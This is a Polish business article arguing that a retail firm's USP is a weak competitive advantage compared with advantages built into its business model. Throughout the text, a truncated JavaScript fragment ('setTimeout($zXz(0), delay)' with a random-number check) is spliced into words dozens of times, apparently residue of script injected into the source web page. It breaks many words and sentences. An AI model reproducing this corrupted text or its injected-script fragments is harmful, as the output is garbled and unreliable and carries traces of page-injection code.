USP czyli Unique Selling Proposition, inaczej unikalna oferta dla klienta. Wszystko się od niej zaczyna, ale do sukcesu są jeszcze po drodze Model Biznesowy, a w firmach handlowych także Koncept Sprzedażowy.
Przewaga, Model, Koncept
Firmy funkcjonują, a przede wszystkim wygrywają na rynku dzięki przewadze konkurencyjnej.
Uwaga. „czy można przetrwać bez przewagi konkurencyjnej?” Jakiś czas można, jeśli się doskonale zarządza codziennością. Można też, jeśli firmę chroni jakiś rodzaj monopolu, np. geograficznego czy dostępu do lokalizacji, ale wtedy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ten monopol staje się przewagą konkurencyjną.
Przewaga konkurencyjna musi być obudowana Modelem Biznesowym, bez niego nie tylko nie pomoże wygrać, ale nawet nie zaistnieje. Ale Model Biznesowy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to także mechanizm, który przekształca popyt w o dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toczeniu (w firmie handlowej) w ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność firmy.
Uwaga. „każda firma ma inny Model”. Nawet te, które próbują kogoś kopiować i tak nie są w stanie skopiować wszystkich szczegółów, jest ich za dużą, a przede wszystkim jest za dużo powiązań między nimi. O zróżnicowanie Modeli dba także zróżnicowanie przewagi konkurencyjnej, którą te Modele obudowują.
W firmach handlowych war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnić szczególną część Modelu Biznesowego, tę część którą widzi i odczuwa klient końcowy. Tę część war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnić, gdyż inaczej działa niż reszta Modelu, a także inaczej się nią steruje ze względu na obecność w nim nieprzewidywalnego elementu klienta.
Koncept Sprzedażowy jest także ważny, gdyż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to on składa klien dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tom obietnicę, jaki jest i dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to ze względu na tę obietnicę klienci odwiedzają firmę, choć o tym czy kupią, decydują już inne elementy Modelu.
Rodzaje przewagi konkurencyjnej
Przewaga konkurencyjna dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to coś, co firma ma, a nie tylko tak jej się wydaje. Musi też mieć is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totne znacznie dla klienta lub dla Modelu Biznesowego. Musi też być trudna do skopiowania, najlepiej jeśli jest mocno osadzona w funkcjach z założenia unikalnego Modelu Biznesowego.
Istnieją 3 obszary, gdzie da się zbudować taką przewagę. To Koncept Sprzedażowy, wtedy dotyczy sprzedaży, odwiedzalności, , Model Biznesowy i monopol. Można też liczyć na rodzaj monopolu.
Najprościej opisać przewagę konkurencyjną opartą o wyjątkową ofertę dla klienta. To może być wyjątkowo niska cena, wyjątkowo dobra obsługa czy wyjątkowo wygodna lokalizacja.
Uwaga. „USP a obietnica dla klienta”. Czy USP dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo co obietnica Konceptu Sprzedażowego? Nie, gdyż USP dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedna wyjątkowa cecha tego Konceptu, a obietnica dotyczy wielu różnych obszarów, tak naprawdę wszystkich punktów styku Modelu z klientem.
Przewaga oparta o cechy Modelu Biznesowego. To wszystko elementy wpływające na rachunek wyników firmy czy najważniejszych składnikach jej bilansu.
Przewaga oparta o monopol. Czyli firma ma dostęp do jakichś zasobów, do których nie mają go inni. Np. do licencji, pozwoleń, patentów, lokalizacji, produktów czy kontraktów publicznych.
Oparcie sukcesu firmy o monopol wydaje się bardzo skuteczne. Firma nie musi się wyróżniać, nie musi się też wysilać, a i tak jest zwykle ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towna na poziomie powyżej rynku. Jednak każdy monopol kiedyś się kończy, a niewidzialna ręka rynku działa wolno, ale dobrze. A kiedy monopol się skończy
Uwaga. „z czasem znajdzie się obejście”. Koncerny muzyczne myślały, że ich monopol na wykonawców nigdy się nie skończy, tymczasem Internet zmienił reguły gry. Firmy handlowe, które zajęły najlepsze miejsca w centrach handlowych, eliminując z nich konkurencję, ze zdumieniem obserwują rozwój e-commerce. To wszystko dowody, że nic nie trwa wiecznie i w końcu k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś, a najczęściej zmiana reguł gry znajdzie sposób aby obejść ich monopol.
Ale posiadanie przewagi konkurencyjnej dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie jedyny sposób na sukces. W krótkim okresie wystarczy, że robi się dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to samo co inni, tylko lepiej. A więc lepiej zarządza się codziennością.
Oparcie sukcesu (wciąż przewagi, choć tym razem nie konkurencyjnej) o zarządzanie codziennością. W długim okresie nic nie zastąpi firmie przewagi konkurencyjnej albo monopolu (ale ten też się kiedyś kończy). Jednak w krótkim wystarczy, że dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to się robi, nie robi się wprawdzie inaczej, ale lepiej niż inni. To właśnie zarządzanie codziennością.
Te dodatkowe 20% ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności, jakie da się „wycisnąć” w firmy dzięki zarządzaniu codziennością do firmie krótkookresową przewagę nad innymi, jednak na długo dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to nie wystarczy. Nie tyle dlatego, że inni też się tego nauczą i zaczną s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tosować te samem me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tody, ale dlatego, że efekty zarządzania codziennością z czasem się cofają, gdy tylko ustanie nacisk na organizację.
Uwaga. „efekty się cofają”. Cofają się dlatego, że firmy dobrowolnie nie wykorzystują 100% możliwości Modelu. Bez nacisku zarządu czy właściciela wracają do wygodnego 80/20 gdzie 20% wysiłku daje 80% efektu.
Przewaga oparta na perfekcyjnym zarządzaniu codziennością zapewnia sukces, gdyż pozwala uzyskać wyższą ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towność, bez zmiany Modelu. Do tego ew. zmiana kosztów dotyczy tylko niektórych linii rachunku wyników, zwykle trzeba więcej wydać na płace, gdyż firma dzieli się wzrostem ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności z pracownikami. Więcej kosztuje też nadzór, ale pozostałe linie raczej się nie zmieniają.
Jak na tle tych me dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tod osiągania przewagi konkurencyjnej sprawdzi się USP? Wcale nie tak dobrze, choć dotyczy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przecież firm handlowych, dla których rynek jest kluczowy. Jest on jednak kluczowy dla Konceptu Sprzedażowego i opisującej go formuły gdzie sprzedaż dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to iloczyn odwiedzalności, konwersji i średniej war dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tości transakcji i, a nie dla Modelu, który jest kluczowy dla ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności.
USP jako przewaga konkurencyjna
Jak sprawdzi się USP jako przewaga konkurencyjna? Słabo, choć wydawałoby się, że dla firmy handlowej przewaga oparta o jej najważniejszą część, Koncept Sprzedażowy, jest najlepsza. Jednak w ułomny sposób spełnia ostatni kluczowy warunek, wymagany aby być przewagą – dość łatwo ją skopiować, a najczęściej wystarczy tylko manipulować komunikatem dla klienta.
USP ma też inną wymagającą cechę – jest nieustannie kontrolowana przez klienta, więc firma cały czas musi się tu starać. A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wysiłek i koszt dla Modelu Biznesowego, który cały czas jest pod presją uzyskania ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności.
Faktycznie jest. Spośród trzech kluczowych cech przewagi konkurencyjnej USP na pewno spełnia pierwszą – firma musi ją mieć lub przynajmniej umieć skutecznie o tym przekonać. To cecha tak częs dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to porównywana, że jeśli firma np. twierdzi że tu jest tanio, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to naprawdę musi się napracować, żeby klienci w dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to uwierzyli. Do tego potrzeba zmasowanego marketingu i umiejętnego operowania ofertą i cenami.
Ma znaczenie dla klienta lub Modelu. Druga cecha też wydaje się oczywista, USP ma przecież z założenia znaczenie dla klienta. Ale w tym czai się też pułapka, przecież klienci ciągle testują USP. Cały czas trzeba się starać, co jest zarówno trudne operacyjnie jak i kosz dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towne na poziomie Modelu.
Trudno ją skopiować. Tu już jest naprawdę trudno. Jeśli firma twierdzi, że u niej jest tanio, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zawsze znajdzie się k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}toś, k dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to stwierdzi, że u niego jeszcze taniej. I nawet jeśli nie wszystko będzie tańsze, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to można tak manewrować ofertą i komunikacją, że da się do tego przekonać klientów.
Uwaga. „USP musi być wsparte Modelem”. To szansa dla firmy, aby kopiowanie przez innych nie było łatwe. Jeśli jest tanio, dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to zarówno trzeba tanio kupować, jak i sam Model musi być tani. Samą przewagę, przynajmniej komunikacyjnie łatwo skopiować, ale wspierający ją Model dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już stanowi wyzwanie. Dlatego kopiowanie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to jedno, ale uzyskanie przy okazji ren dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towności dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to już zupełnie co innego.
Najlepiej więc, nawet w firmie handlowej, sprawdzi się przewaga oparta o cechy Modelu.
Podsumowanie
Kiedy mówi się o przewadze konkurencyjnej firmy handlowej, zwykle na myśl przychodzi jakaś widoczna cecha jej Konceptu Sprzedażowego, jak niska cena, szeroki wybór czy wyjątkowa obsługa. Taką cechę można nazwać USP – wyjątkową ofertą dla klienta. Tymczasem USP słabo sprawdza się w tej roli, łatwo ją naśladować, przynajmniej wizerunkowo i marketingowo. Trzeba też się bardzo i cały czas starać, aby ją utrzymywać, gdyż jest nieustannie konfron dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towana z klientami. Jest dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to także cecha szeroko komunikowana, oczywista więc także dla konkurentów, którzy mają pokusę żeby się z nim zmierzyć. Dużo lepiej sprawdzi się przewaga konkurencyjna oparta o jakąś cechę Modelu, koszty, nakłady czy zarządzanie zapasem albo należnościami/zobowiązaniami.